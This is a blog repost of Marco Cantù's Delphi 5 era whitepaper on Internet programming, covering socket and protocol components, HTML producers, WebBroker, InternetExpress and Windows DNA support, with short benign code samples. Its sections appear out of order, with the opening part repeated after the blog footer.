Finally, with the forthcoming Kylix project (see
http://www.borland.com/linux), Borland are providing a
“Delphi for Linux”, allowing your server side applications to run
equally well on Microsoft Windows or Linux operating systems.
Delphi will be able to leverage features of the two platforms
without any tie-ins to a specific operating system, allowing your
Web server applications to run on the two most widespread
operating systems for Internet servers.
Core TCP/IP Support
The common factor for all Internet and Intranet applications is
communication over TCP/IP sockets. Most of the time the
communication is constrained by a set of rules, known as a
communication protocol. For example, SMTP and POP3 are
two very simple protocols for sending and retrieving mail
messages, defined by the Internet standard bodies.
Using Delphi you can:
• Implement the client and the server side of a proprietary
protocol, using the TServerSocket and TClientSocket
components, found in the Internet page of the component
palette. This is handy for distributed applications, but
creates a closed system, in which other programs not
written by you cannot interact (which might be an
advantage or a disadvantage, depending on the situation).
That is, of course, unless you want to define a new protocol
and publish the specs for others to “join” you.
Figure 1: The Internet page of Delphi’s component palette,
hosting the socket and HTML producer components.
• Implement an existing protocol on the client or on the
server side. This can be done again with the generic socket
components mentioned above, but its generally
accomplished by using protocol-specific Delphi
components provided by third parties, some of which are
even pre-installed in the Delphi IDE.
• Support the HTTP protocol, the core of the Web, and the
HTML file format. As these play such a major role, I’ll
cover them separately from the other protocols.
The support for TCP/IP and socket programming in Delphi is
as powerful as using the direct API (Winsock, in case of the
Windows platform) but far simpler. The socket components, in
fact, shield the programmer from some of the complex technical
details, but surface the Windows handles and low-level APIs,
allowing for custom low-level calls.
Writing simple programs with socket support in plain C calling
the Windows APIs requires hundreds of lines of code, while
using the Delphi socket components, a few lines of code will
suffice, even for complex tasks. That’s the standard advantage of
component-based development. Also, building a simple user
interface for the program is often trivial in Delphi. With other
development environments, you need to program the socket in a
low-level language (such as C) and then write the user interface
with a different visual tool, integrating the two and requiring
knowledge of multiple languages.
Delphi
4
Client Side Protocols Support
To develop the client side of Internet applications, Delphi
provides you ready-to-use components. There are multiple sets
of native VCL components you can adopt, all based on a similar
philosophy:
• The NetMaster components are pre-installed in the Delphi
environment (see the FastNet page of the component
palette), and include client-side support for the most
common Internet protocols (including POP3, SMTP,
NNTP, FTP, and HTTP).
• The Indy open source components (“Internet Direct”,
previously called WinShoes and now “federated” with the
Jedi Project) are available on Delphi 5’s Companion CD and
from their web site (http://www.nevrona.com/indy). It has
been announced that Indy will be included by default in
Delphi 6 and Kylix (Delphi IDE for the Linux platform).
• The free ICS components (“Internet Component Suite”,
available at http://users.swing.be/francois.piette/icsuk.htm,
include the complete source code) and are designed and
maintained by Francois Piette and form another set of very
popular Delphi components, supporting most Internet
protocols.
• A few other commercial offerings, including IP*Works
components (http://www.dev-soft.com/ipwdlp.htm) and
Turbo Power’s Internet Professional
(http://www.turbopower.com/products/IPRO/).
Some of these components map directly to their own WinSock
wrappers, others also use the WinInet library, a Microsoft system
DLL that implements support for the client side of FTP and
HTTP protocols. Regardless of the set of components you are
going to use, they are really quite simple to work with. If you
have an existing application, and want to mail-enable it, just drop
a couple of components onto your form (or data module), set
their properties (which include the indication of the mail server
you want to connect with) and write few lines of code.
For example, to send email with NetMaster’s component, you
can use the following simple code:
// component properties
object Mail: TNMSMTP
Host = ‘mail.server.com’ // your web
service
Port = 25
PostMessage.FromAddress =
‘marco@marcocantu.com’
end
// code to send the above email
message
Mail.PostMessage.ToAddress.Add
(‘davidi@borland.com’);
PostMessage.Subject := ‘Borland
Community Site’;
PostMessage.Body.Add (‘Hi David, I
wanted to ask you…’);
Mail.Connect;
Mail.SendMail;
Mail.Disconnect;
In short, these are the advantages of using Delphi for supporting
Internet client applications:
• Choice among various offerings of components (some of
which are totally free and open source)
• Easy integration with existing applications
• Easy development of new and specific user interfaces, with
Delphi visual and object oriented architecture
Server Side Protocols Support
Besides supporting web protocols in existing applications, or
writing custom client programs specifically for them (as a
completely custom email program), in a corporate environment
you often need to customize Internet server applications. Of
course, many of the available pre-built servers can be used and
customized, but at times you’ll need to provide something that
existing programs do not support.
In that case, you might think of writing your own server, if only
it wasn’t so complex. Using Delphi and a set of server side
components you can build custom servers with only limited
extra effort, compared to a client program, and achieve (or at
times exceed) the performance of professional quality Internet
server programs.
Server side components were pioneered by Jaadu
(http://www.jaadu.com), which offers a web server component
and are now available in the Indy component set (discussed
above). There is also a set of highly optimized native Delphi
Delphi
5
components, called DXSock (http://www.dxsock.com),
specifically aimed at the development of Internet server
programs. Some of the demonstrations of these component sets
are actually full-fledged HTTP, mail, and news servers.
Client Side Web Support
If many Internet protocols are important, and email is one of the
most commonly used Internet services, it is undeniable that the
Web (that is, the HTTP protocol) is the driving force of most of
the Internet development. Web support in Delphi is particularly
rich. Here, we are going to start by exploring the features
available on the client side (to integrate with existing browsers)
and then we’ll move to the server side, devoting plenty of time
to the Web server development that you can do with Delphi.
• The HTTP components available in most suites allow you
to create a custom browser within your application: You can
reach existing Web sites and retrieve HTML files or post
custom queries. At this point you can send the HTML
content returned by the HTTP server to an existing browser
or integrate a custom HTML processor or HTML viewer
within your application. The ways in which can apply are as
follows:
• Sending an HTML file to Microsoft’s Internet Explorer or
Netscape Navigator, either using it as an external
application, by calling the ShellExecute API function:
ShellExecute (Handle, ‘open’,
‘c:\tmp\test.htm’, ”, ”,
sw_ShowNormal);
or integrating the Internet Explorer ActiveX control,
surfaced in Delphi as the ready-to-use WebBrowser
component.
• Processing HTML in a custom way, to extract specific
information; this is useful in case you don’t need to show
the HTML to a user, but want to process it, eventually
extracting specific information from it.
• Showing the HTML within your program using a native
Delphi component (so that end users don’t need to have
Internet Explorer installed). These components are available
by third parties, with the most well known HTML viewer
component being offered by David Baldwin (see the Web
site http://www.pbear.com).
The reverse of integrating a browser within your application, you
can integrate your application within the browser. This is rather
easy to accomplish by using Internet Explorer and the ActiveX
technology. Delphi supports this technology in full using the
ActiveForm technology. An ActiveForm is built in the same
visual way that a plain Delphi form is constructed, but an
ActiveForm is hosted within an HTML page of Internet
Explorer. You can even move existing programs to the Web by
hosting their main form within an ActiveForm.
Figure 2: An example of a wizard built with Delphi (it is
based on a PageControl component) and deployed within
an ActiveForm. The buttons allow you to reach different
pages of the form, without moving outside of the browser’s
page.
This Microsoft specific technology (ActiveX is not supported by
other browsers) can simplify the deployment of simple Delphi
applications within an Intranet, as users can download the
programs they need by pointing their browser to specific pages.
The ActiveX technology, however, is not well suited for the
Internet, as too many people have different browsers or
operating systems, or disable this feature in their browser for
Delphi
6
fear of the potential harm caused by the automatic execution of
programs that are downloaded from the Web.
• The advantage of Delphi in this area is that, once more, it
allows you to customize your existing programs to take
advantage of the Internet, and make them work seamlessly
with Web browsers. Also, if you choose not to use the
ActiveX technology, you won’t be tied to any particular
browser or platform.
Server Side Web Development
As anticipated, all the development related to Web servers is by
far the most important area of Internet development, and again
one where many alternative solutions are available. Delphi has
offered developers strong server side Web development since
version 3, with Delphi 5 being a mature environment for
building Web server extensions. Delphi includes multiple
technologies to support server side development, so I’m going to
cover:
• The HTML Producer components
• The WebBroker technology for building CGI, WinCGI, and
ISAPI/NSAPI server side extensions
• The Internet Express technology (introduced in Delphi 5)
for building database-oriented server side applications,
based on standard technologies such as XML and
ECMAScript (formerly known as JavaScript).
Generating HTML pages
Delphi includes several components aimed at the generation of
dynamic HTML pages. There are two different sets of producer
components, page-oriented and table-oriented ones. When you
use a page oriented HTML producer component, such as the
PageProducer, you provide the Producer component with an
HTML file with custom tags (marked by the # character). You
can then handle the OnTag event of the component to replace
these custom tags with specific HTML code.
The following is sample code for this OnTag event:
procedure
TFormProd.PageProducer1HTMLTag(Sender:
TObject;
Tag: TTag; const TagString: String;
TagParams: TStrings;
var ReplaceText: String);
var
nDays: Integer;
begin
if TagString = ‘date’ then
ReplaceText := DateToStr (Now)
else if TagString = ‘expiration’
then
begin
nDays := StrToIntDef
(TagParams.Values[‘days’], 0);
if nDays <> 0 then
ReplaceText := DateToStr (Now +
nDays)
else
ReplaceText := ‘<I>{expiration
tag error}</I>‘;
end;
end;
This code handles a plain tag, date, which is replaced with the
current date, and a parametric one, expiration, which includes a
parameter indicating the number of days the information on the
page remains valid. The HTML for this custom tag will look like:
Prices valid until <b><#expiration
days=21></b>
The output will be something like: “The prices in this catalog are
valid until 12/24/2000”, as you can see in Figure 3.
Figure 3: The HTML file generated by a PageProducer
component.
The advantage of this approach is that you can generate such a
file using the HTML editor you prefer, simply adding the custom
tags. Notice also that the same OnTag event handler can be
shared by multiple producer components, so you don’t need to
Delphi
7
code the same tag expansion multiple times within the same
program.
A second component of this group, DataSetPageProducer, can
automatically replace tag names with the values of the fields of
the current record of a dataset.
Another group includes HTML table oriented components. The
idea is to convert automatically a dataset (a table or the result set
of a query or stored procedure) into an HTML table. Although a
standard conversion is supplied, you can add custom tags and
styles for the grid, each of the columns, and even specific cells of
the table. The customization is similar to that which can be
applied to a visual DBGrid inside a Windows application. For
example, the following code turns all the cells of the second
column that have a value exceeding 8 digits red in color (with the
effect you can see in Figure 4):
procedure
TFormProd.DataSetTableProducer1FormatC
ell(
Sender: TObject; CellRow,
CellColumn: Integer;
var BgColor: THTMLBgColor; var
Align: THTMLAlign;
var VAlign: THTMLVAlign; var
CustomAttrs, CellData: String);
begin
if (CellColumn = 1) and (Length
(CellData) > 8) then
BgColor := ‘red’;
end;
Figure 4: The output of a DataSetTableProducer, with
custom colors for specific cells.
The second component, the QueryTableProducer is specifically
tailored for building parametric queries based on input from an
HTML search form. The parameters entered in the form are
automatically converted by the component into the parameters
of a SQL query and the resulting dataset is formatted in an
HTML table: all this complex work can be set up with no
custom coding!
Advantages
• You can write the basic HTML code with the editor you
prefer and simply include custom tags.
• You are not mixing scripting code with the HTML code,
but keep them totally separate. The HTML simply includes
a placeholder for the code that is going to be generated.
• The script is replaced by full-performance compiled code.
• Using this technique you can easily access database data,
and render the result of complex queries in HTML tables
with no custom coding!
Further Notes
The HTML producer components can also be used to produce
static web pages, that is plain HTML files that can be placed on
your web server and not server dynamically by a program.
Notice also that beside HTML files, Delphi programs can
produce JPEG files, using the TJPEGImage component. Again,
these files can be placed on a server or produced dynamically
from a server extension. The generation of images includes the
generation of the complex business graphs, available through the
native TeeChart components.
The WebBroker Framework
The development of Web server extensions (that is, custom
applications seamlessly integrated with a Web server) can be
based on multiple competing technologies, including:
• CGI (Common Gateway Interface, common on UNIX
boxes),
• WinCGI (the Windows flavor of the same technology),
Delphi
8
• ISAPI Internet Server API, libraries specifically tailored for
Microsoft’s own IIS) and NSAPI (the corresponding API
offered by Netscape’s web server),
• Apache modules (the same idea, but for the open-source
Apache Web server) – this standard is not currently
supported by Delphi, but Borland has revealed plans to
support it in Kylix, the project for a Linux version of
Delphi.
The problem with most of these technologies is that even if they
are all based on the HTTP protocol, the way you receive the
same information and make it available to the Web server
changes substantially. For this reason, Borland has built in the
VCL a small object-oriented framework, called WebBroker,
which removes those differences. You write all of your code
targeting a few generic base classes, and ask Delphi to provide
you a specific implementation for, say, CGI or ISAPI. This
means you can move your programs (even complex ones) from
one of these technologies to another simply by providing a
different project source code and a few lines of code.
• Once the “bridge” includes Linux based servers beside
Windows ones, the WebBroker technology will be able to
bridge a large variety of web servers on multiple operating
systems.
Not only does WebBroker provide a bridge among multiple
technologies, it also provides a lot of core routines and facilities,
to simplify server side development. For example, you can ask
for a specific value inside a query string by writing:
stringName := Request.QueryString
[‘Name’];
instead of having to parse a complex string yourself. This is just
one simple example, there are a great many timesavers within the
WebBroker architecture, to enable you to really speed up
development.
Consider also that the WebBroker architecture is generally used
in conjunction with the HTML producer components. The
development of a program which executes a query on a SQL
server, formats it using an HTML table, and returns it from a
server side application takes probably less than 20 mouse clicks
and almost no coding!
Figure 5: A query form like this one can be directly tied to
the parameters of an SQL query, via a QueryTableProducer
component and with almost no coding!
For example, if you have the following HTML file with a table
(shown in Figure 5), you can hook it with a script (called
CustQuery.exe) to process the request. This is the HTML code,
with a table having two input fields:
<html><head>
<title>Customer Search
Form</title>
</head>
<body>
<h1>Customer Search Form</h1>
<form
action=”/scripts/CustQuery.exe/search”
method=”POST”>
<table>
<tr><td>State:</td>
<td><input type=”text”
name=”State”></td></tr>
<tr><td>Country:</td>
<td><input type=”text”
name=”Country”></td></tr>
<tr><td></td>
<td><center><input
type=”Submit”></center></td></tr>
</form>
</body>
</html>
Delphi
9
Figure 6: The choices offered by Delphi’s Web Server
Application Wizard.
Now you can create a Delphi WebBroker application, using the
Web Server Application Wizard (see Figure 6), and choosing
CGI (or whatever technology you prefer). Inside the
WebModule Delphi will create and open for you, you can add an
action, by right-clicking on the Actions item of the Objects Tree
View (above in Figure 7) or using the add button or local
command of the resulting actions list editor (below in Figure 7).
You can open the action list editor double clicking on the
WebModule itself.
Figure 7: The actions of a WebModule can been seen in the
Objects Tree View (at top) and in the actions list editor (at
bottom). Their properties are set in the Object Inspector
(at left).
Set the action with the “/search” value in the PathInfo property.
This can be connected (using the Producer property) with a
QueryTableProducer component added to the data module. This
component, in turn, is hooked to a Query component, via its
Query property.
The Query component will be executed when the action is
invoked, passing to its Params the QueryStrings or
ContentStrings parameters of the WebRequest. This means that
Delphi will extract the values entered in the HTML input boxes
and copy them to the query parameters having the same name.
So, we can use a query like the following, with to parameters
having the same name of the input fields (see again the HTML
code above):
SELECT Company, State, Country
FROM CUSTOMER.DB
WHERE
State = :State OR Country = :Country
That’s all! Even with no Delphi code we’ve obtained an HTML
front end for a database search. By customizing the HTML table
output, attaching a style sheet, adding extra code for custom
processing, you can build a professional version of this program
within a few hours.
In short:
• WebBroker allows you a single source code solution for
multiple technologies: CGI, CGI-Win, ISAPI/NSAPI, and
also Apache Modules moving forward.
• Combined with the HTML producer components, your
server side applications can easily produced HTML pages,
particularly showing database data.
• Your WebBroker code will be portable to Linux with little
effort, once Kylix is released.
Supporting Microsoft’s Windows DNA
architecture
Besides talking about the WebBroker framework, and the
Internet Express technology I’ll discuss later, Delphi has a full
and high quality support for the entire Windows’s DNA
architecture (which will be superceded by the dotNet
architecture, but is probably going to remain in use for quite
some time). Delphi has traditionally been the first visual
Delphi
10
development environment to support ActiveX and MTS
technologies, even before Microsoft’s own visual tools provided
such support.
Not only this, but Delphi’s simplified and yet complete COM
support is still unparalleled in the industry. Based on this highquality
low-level COM support, Delphi provides support for
most COM-related technologies, such as Windows Shell
programming, Automation, Active Documents, ActiveX (and
also the Web-oriented ActiveForm technology I’ve already
covered), MTS and COM+, and many others.
Using Delphi you can write MTS object defining your business
rules and database integration code, provide a layer of ASPenabled
COM objects to generate HTML and user interface
elements, and wrap everything in ASP scripts (Microsoft’s Active
Server Pages technology). This corresponds to embrace
Microsoft’s proposal in full, with high quality support.
Giving this past track record, we can probably expect a future
release of Delphi to fully support COM+ (although I have to say
you can already write COM+ applications with Delphi 5, with a
little extra effort) and other emerging Microsoft standards.
In short:
• Delphi’s support for the Windows platform is complete,
including the support for the entire COM architecture and
the Windows DNA model.
• Delphi’s ability to write low-level COM code makes it
possible for you to target new standards without having to
wait for Borland support within the development
environment. You can hardly say the same for any other
visual tool.
• While fully supporting Microsoft technologies, Delphi
allows you to avoid the strong tie-ins you’ll end up with by
using Microsoft tools. With a little engineering effort, you
can build Delphi classes which can exposed their
functionality in a way suitable to Microsoft’s DNA
technologies (for example using the Delphi code inside
ISAPI servers and COM objects) and be able to port them
to other Web Servers and other platforms, such a Linux, by
providing a different wrapper to the same core code.
InternetExpress: XML, ECMAScript, and
DHTML
Delphi 5 has further extended the traditional Delphi offering in
the area of Internet development by providing a brand new
technology based on the most recent open standards.
InternetExpress is based on two key components:
• The XMLBroker component can convert an existing dataset
(using the MIDAS data stream format) into XML data. You
can convert the result of a query, an entire table, and use
any of the Delphi dataset components (those based on the
BDE, the dataset components based on Microsoft’s ADO,
or the native InterBase components), to provide data to the
XMLBroker and surface it on a web page.
• The MidasPageProducer component is a visual component
designed for HTML forms based on the data provided by
the XMLBroker. These pages, once made available in a
browser, not only allow a user to see the database data, but
have full support for editing, deleting, and inserting data in
the database.
The user interface construction becomes similar, in its
capabilities, to the common Windows user interfaces, although it
is a native Web application, capable of running in multiple
browsers with no need of any plug-in or custom extension. The
reason for this openness lies in the fact that the Internet Express
technology is based on open standards, these being:
• XML and an XML DOM
• ECMAScript (the official name of the JavaScript
technology), is the only scripting language supported by
most Web browsers, which can be used to customize the
user interface, apply simple input and editing rules on the
client side, make the user interface interact with the XML
data.
• Dynamic HTML and CSS (Cascading Style Sheets) allow the
development of a modern user interface within a browser,
avoiding a tie-in of graphical elements with the HTML and
the data rules. Quite the contrary, in fact, as the various
Delphi
11
elements (HTML code, business rules, SQL server access)
are kept well separate.
As mentioned earlier the InternetExpress architecture is based
on Borland’s MIDAS 3 technology. In its complete extensions,
the architecture has 4 separate layers (see Figure 8), these being:
Figure 8: The different layers of a multi-tier Internet
Express application.
• The SQL server (any of those supported by BDE, ADO, or
native components), eventually running on a separate
computer
• A MIDAS application server, which connects to the SQL
server, applies specific business rules, and provides the data
to the clients
• A WebBroker Web server extension, which ties to the Web
server, and converts the data received by the MIDAS server
into XML and provides a suitable HTML user interface
• The Web browser, which can be either Internet Explorer or
Netscape (or other complying with the standards) and can
run on any operating system
In the case of simpler projects, the picture can actually be
simplified by merging the MIDAS server and the XML producer
components into a single application. The advantage of the
overall architecture is that you also gain the benefits of the
MIDAS infrastructure, including a proper abstraction of the
business logic, transport independence (it can run on top of
TCP/IP, HTTP, DCOM, MTS, and CORBA), and resource
pooling (to share SQL server connections).
In practice, let me guide you through the steps you’ll need to
build a simple Internet Express front end for editing a simple
database table. The starting point is again the creation of a new
Web Server Application, using the wizard. In the web module
you can add an action (see again Figure 7 and the description of
the related example) and mark this action as the default action,
by setting its Default property to True. Now you need the
following components:
• An actual data set, such as a table or query component,
connected with a database (using BDE, ADO, or another
database access technology). The simplest solution is to use
a BDE Table (from the Data Access tab of the component
palette), setting its DatabaseName and TableName
property. You can use the sample DBDEMOS alias for the
DatabaseName property, and choose any of the available
tables (from the drop-down menu of the property)
• A data set provider component (from the MIDAS tab of
the component palette), hooked with the data set (Table1 in
this case) using its DataSet property
• An XML broker component (from the InternetExpress tab
of the component palette), hooked directly with the
provider (in a “single” tier approach) using its
ProviderName property
• A Midas Page Producer component (again from the
InternetExpress tab of the component palette), connected
with the default action of the web module by setting the
Producer property of the action
At this point you can open the Midas Page Producer (by double
clicking on it), and use its special editor to prepare the HTML
form. For example, you can add a data form, add into it a data
grid (connected with the XML broker) and a navigator (hooked
to the grid using the XMLComponent property).
Delphi
12
Figure 9: The editor MidasPageProducer component
within the WebModule of our InternetExpress application.
After these steps you’ll have a complex data module. To
summarize its key options, I’m going to list the textual version of
its DFM file, an internal Delphi file that reflects the result of
visual development actions. You won’t ever need to type this
code, it is just a summary on the visual setting done in the
Object Inspector, very useful for reference and documentation
purposes. You can view your own WebModule this way by right
clicking on it and then selecting “View as Text” command.
You’ll see more code than that listed here, as I’ve extracted form
the textual definition of this DFM file only its key elements:
object WebModule1: TWebModule1
Actions = <
item
Default = True
Name = ‘WebActionItem1’
PathInfo = ‘/MidasPageProducer1’
Producer = MidasPageProducer1
end>
object Table1: TTable
Active = True
DatabaseName = ‘DBDEMOS’
TableName = ‘country.db’
end
object DataSetProvider1:
TDataSetProvider
DataSet = Table1
end
object XMLBroker1: TXMLBroker
ProviderName = ‘DataSetProvider1’
WebDispatch.PathInfo =
‘XMLBroker1’
end
object MidasPageProducer1:
TMidasPageProducer
HTMLDoc.Strings = (…)
IncludePathURL = ‘/include/’
object DataForm1: TDataForm
object DataGrid1: TDataGrid
XMLBroker = XMLBroker1
end
object DataNavigator1:
TDataNavigator
XMLComponent = DataGrid1
end
end
end
end
Notice you have to remember to set the IncludePathUrl
property of the Midas Page Producer to a URL referring to a
directory where the browser can find the required JavaScript
files. Otherwise the browser will show an error message, and no
data.
Figure 10: The InternetExpress application we have just
built inside a browser (in this case Microsoft Internet
Explorer)
This is all! At this point you’ll have a complete application,
allowing a user not only to see the data inside a browser (any
browser!) but also to edit the data and send it back to the server,
to be posted to the database. See Figure 9 for an example. And,
again, with no coding required we’ve only chosen the basic
options, but with some study (one of the few references,
although limited on this regard, is my own book “Mastering
Delphi 5”) and effort you can build sophisticated program, with
a modern browser-based UI.
Delphi
13
In short:
• With Delphi InternetExpress architecture you can extend
MIDAS multi-tier applications with a browser-based user
interface. Relying on HTTP, XML, and ECMAScript, the
architecture is not tied to any browser or operating system,
which differs from other equally powerful solutions.
• Developing a simple front end for you business data with
InternetExpress is really a very fast and completely visual.
Even without knowing all the core technologies of the
architecture, you can still easily write fully functional and
professional-looking web sites.
Third-Party Web Server Extensions
Besides using Borland’s own InternetExpress technology, you
can use Delphi with some third party components and tools,
which support the development of HTML-based server side
applications with different approaches. There are many tools in
this category, so I’m just mentioning the most popular ones, and
not trying to offer a complete picture.
• HREF (http://www.href.com) offers the popular WebHub
framework, an advanced technology for manipulating
HTML snippets and create Web content based on database
data. WebHub is capable of handling user sessions, separate
the code development from the server side technology used,
and helps developers to move to a proper Web-centric
approach, instead of adapting existing Windows user
interfaces to the Web.
• Nevrona Design offers ND-IntraWeb
(http://www.nevrona.com/intraweb) which follows an
opposite approach: Using a series of custom user interface
components it allows you to build a user interface which
can work equally well inside a Windows program or a Web
browser.
• Marotz Delphi Group offers ASP Express
(http://www.asp-express.com) offers a set of components
designed to encapsulate and simplify the development of
Windows DNA applications. It uses ASP, MSXML, COM,
and other technologies, making it easier to combine
everything with Delphi code.
In short:
• Custom server side solutions provide ready-to-use complex
frameworks for the development of your applications with
Delphi. Some of these technologies have been successfully
used for the development of large and complex web sites.
• Similarly to the use of components wrapping server side
protocols, you can have full control of the entire software
on your web server, with no risk of others people bugs
creeping into your system.
Delphi in Action on the Internet
Delphi’s capabilities in the area of Internet and Web
development can be discussed by their technical merit, as I’ve
done in this paper, but can also be evaluated based on their
success. Delphi is used for the development of many Internetproducts,
ranging from simple shareware utilities to huge ecommerce
Web sites. Although the press is all about other
languages and environments, Delphi has found its inroads in the
Internet era, and is in widespread use right now.
Borland provides a long list of success stories (see
http://www.borland.com/about/cases and
http://www.borland.com/delphi/cases), but there are a few
worth highlighting. Among the web sites powered (at least for
the database oriented portions) by Delphi there are:
• Autobytel.com, a US on-line car dealer
• The National Trust (http://www.nationaltrust.org.uk), a
UK organisation for preserving historical buildings
• iVillage.com, the women’s network web site
• Dulux Trade Paints (http://www.dulux.com), a web site for
choosing paint colors
• CalJobs (http://www.caljobs.ca.gov), the State of California
Internet system for linking employer job listings and job
seeker resumes.
• Travel.World.Net, a complete travel services management
system by Australian World.net.
Delphi
14
Speaking of Internet utility programs, almost half of the
Internet-related shareware programs on the market are built with
Delphi. Some worth mentioning, taken from different categories,
are:
• The powerful email manager The Bat!
(http://www.ritlabs.com) and the freeware mail client Mail
Warrior (http://pages.infinit.net/kaufman), top rated in
many software web sites
• The acclaimed HTML editor HomeSite
(http://www.allaire.com/homesite)
• The MERAK Mail Server (http://www.icewarp.com)
• Two of the most popular IRC clients, Pirch
(http://www.pirchat.com) and Virc
(http://www.megalith.co.uk/virc/)
There are also newsgroup readers, FTP front ends, XML editors,
chat programs, and applications for the client and the server side
almost any possible Internet protocol.
Another area of success in Delphi development is the creation of
high-quality ASP components. Among the most popular ASP
add-ons mentioned on Microsoft’s web site
(http://msdn.microsoft.com/workshop/server/components/ca
talog.asp) there are quite a few written in Delphi, including the
ASP components written by Dimac (http://www.dimac.net) and
including the popular JMail component, described as “the
leading SMTP-component for ASP-coders”.
You can find a rather complete (albeit unofficial) list of Internet
applications and Web sites powered by Delphi on the “Built with
Delphi” area of the Baltic Solution web site
(http://www.balticsolutions.com/bwd).
Conclusion: The Delphi Advantage
After this long detailed paper it is not easy to summarize in only
a few words why you should use Delphi as a core Web
development tool, within your organization. I can certainly say
that Delphi delivers fast-performance applications built with a
rapid development environment for Windows and the Web. It
has optimal Client/Server support and the ability to write goodquality
object-oriented code, both for the building of a complex
application structure and also to delve deep into low-level
programming tasks.
A great tool for the entire Internet needs of any organization.
And a tool you can use today on the Windows platform and get
ready to extend to the Linux operating system with a visual and
high-performance development environment, the ideal solution
for all those who like programming “The Delphi Way”.

Published in: on 24 January 2010 at 5:51 pm  Leave a Comment  
Tags: ,

Web Design

Internet
Programming
with Delphi
by Marco Cantù
(http://www.marcocantu.com)
Table of Contents
The Challenges of Internet Programming …………………………………1
Where does Delphi Fit?……………………………………………………………..2
Core TCP/IP Support……………………………………………………………….3
Client Side Protocols Support……………………………………………………4
Server Side Protocols Support …………………………………………………..4
Client Side Web Support……………………………………………………………5
Server Side Web Development………………………………………………….6
Generating HTML pages …………………………………………………………..6
The WebBroker Framework ……………………………………………………..7
Supporting Microsoft’s Windows DNA architecture ………………..9
InternetExpress: XML, ECMAScript, and DHTML……………….10
Third-Party Web Server Extensions ………………………………………..13
Delphi in Action on the Internet……………………………………………..13
Conclusion: The Delphi Advantage…………………………………………14
Borland Delphi is known to be a great environment for the
development of stand-alone and client-server applications on the
Microsoft Windows platform. Its virtues range from full OOP
support to visual development, in a unique combination of
power and ease. However, the new frontier of development is
now Internet programming. What has Delphi got to offer in this
new context? Which are the features you can rely upon to build
great Internet applications with Delphi? That’s what this paper
intends to reveal. We’ll see that Delphi can be used:
• For direct socket and TCP/IP programming;
• In conjunction with third-party components that implement
the most common Internet protocols, on the client or the
server side;
• To produce HTML pages on the server side, with the
WebBroker and Internet Express architectures;
• As well as to work with Microsoft’s core technologies,
including MTS, COM, ASP, and ActiveX.
The Challenges of Internet
Programming
Internet programming poses new challenges to traditional
developer environments and to the programmers using them.
There are issues related with the implementation of standard
protocols, the use of multiple platforms (Microsoft Windows
accounts for most of the client computers on the Internet but
only a fraction of the servers), and the licensing schemes of
some RDBMS systems.
Delphi
Delphi
2
Most of the problems, however, relate with HTTP development:
Turning existing Windows applications into applications running
within a Web browser is more complex than it might seem at
first sight. The Web is stateless, the development of user
interfaces can be quite an issue, and you invariably have to
consider the incompatibilities of the most widespread browsers.
A new platform specifically aimed at areas of Internet
programming (typically the HTTP world) has emerged. These
environments favor server side development, often also allowing
the inclusion of database information within web pages. A
common solution is to write HTML pages with special
“scripting” tags included, which are going to be expanded by an
engine on the server. Interesting for small projects, most of
these technologies have limited scripting power, and force you to
mix HTML code and scripting code, and GUI scripting code
with database oriented code. On larger applications, this lack of
separation among the different areas of a program is considered
to be far from a good architecture.
Moreover, Microsoft’s DNA is going to be replaced by the new
Microsoft dotNET (or “.NET”) architecture – a new name and
approach that seems to imply that the previous architecture had
indeed serious limitations. DotNET is apparently going to be
more “open” and stresses a lot the importance of XML,
including pushing the support for the SOAP (Simple Object
Access Protocol) invocation protocol. Another key element of
dotNET is that COM is apparently going to be phased out (not a
nice idea for people who’ve invested in the approach Microsoft
was pushing yesterday).
Even with the advent of dotNet, Microsoft’s DNA architecture,
based on ASP for HTML scripting and COM/MTS/COM+ for
database manipulation, offers a higher perspective, but is limited
to the Windows platform and Microsoft’s own IIS Web server,
tends to work primarily with the Internet Explorer browser. The
current incarnation of DNA suffers from several limitations,
including DCOM unfriendliness with firewalls, complex
configuration and administration, some tie-in with Microsoft’s
technologies, databases included, and limited scalability. Also,
the overall architecture, with the separation of many layers
partial with status and partially stateless, seems to be still limited
for the challenges of the Internet.
Where does Delphi Fit?
With this rather complex situation going on, where does a
“traditional” development platform like Delphi fit? The goal of
Delphi in the Internet age is to bring the some power, flexibility,
ease of use, and database support.
• The power of Delphi comes from the fully compiled code,
different from many script-based technologies, and from its
fully object-oriented architecture (which is not an after
thought, but has been the foundation of the language and
its libraries since version 1.0). Delphi natively compiled
applications are simple to deploy, as they are generally made
of a single self-contained executable code (with no extra
runtime libraries and custom component files). Actually,
dividing the single EXE in multiple packages is a useful
option that is offered by Delphi, which programmers can
fine-tune to choose the best deployment solution.
• The flexibility of Delphi comes from a support not limited
to HTTP but open to most Internet protocols, as the
development environment allows you to write lower level
code to support new protocols, as the developers of many
native third-party components have done.
• The ease of use of Delphi comes from the componentbased
environment. Writing a mail client (eventually bound
to a web page) simply implies adding a couple of
components to your program, setting a few properties, and
writing very little code. Some of the samples found in
Delphi and the third party components are basically fullfeatured
email programs!
With the InternetExpress technology of Delphi 5, the easeof-
use has been extended to allow the visual development
of HTML front ends based on data sets.
• Database and client/server support has always been one of
the strongest features of Delphi and client/server
architectures remain the core of most Web applications and
Internet sites. Actually, if you’ve built your Delphi
Delphi
3
applications by separating the user interface from the back
end (typically using Data Modules for the latter) you are
ready to plug in a new user interface to your existing
“business rules” code.
This is particularly true for multi-tier MIDAS applications,
which separate the business logic and the user interface in
two separate applications, running on the client and
application server computers. Using the InternetExpress
technology, as we’ll see, you can simply build a new front
end for a Web server application, and make it available to
the client browsers.
Leveraging your existing Delphi code and allowing you to build
Windows and browsers based front end for the same core
application, are two key reasons to adopt Delphi as your Internet
development platform. But they are not the only reasons, as
other areas of Internet development are equally served by the
technologies included in Delphi.
Finally, with the forthcoming Kylix project (see
http://www.borland.com/linux), Borland are providing a
“Delphi for Linux”, allowing your server side applications to run
equally well on Microsoft Windows or Linux operating systems.
Delphi will be able to leverage features of the two platforms
without any tie-ins to a specific operating system, allowing your
Web server applications to run on the two most widespread
operating systems for Internet servers.
Core TCP/IP Support
The common factor for all Internet and Intranet applications is
communication over TCP/IP sockets. Most of the time the
communication is constrained by a set of rules, known as a
communication protocol. For example, SMTP and POP3 are
two very simple protocols for sending and retrieving mail
messages, defined by the Internet standard bodies.
Using Delphi you can:
• Implement the client and the server side of a proprietary
protocol, using the TServerSocket and TClientSocket
components, found in the Internet page of the component
palette. This is handy for distributed applications, but
creates a closed system, in which other programs not
written by you cannot interact (which might be an
advantage or a disadvantage, depending on the situation).
That is, of course, unless you want to define a new protocol
and publish the specs for others to “join” you.
Figure 1: The Internet page of Delphi’s component palette,
hosting the socket and HTML producer components.
• Implement an existing protocol on the client or on the
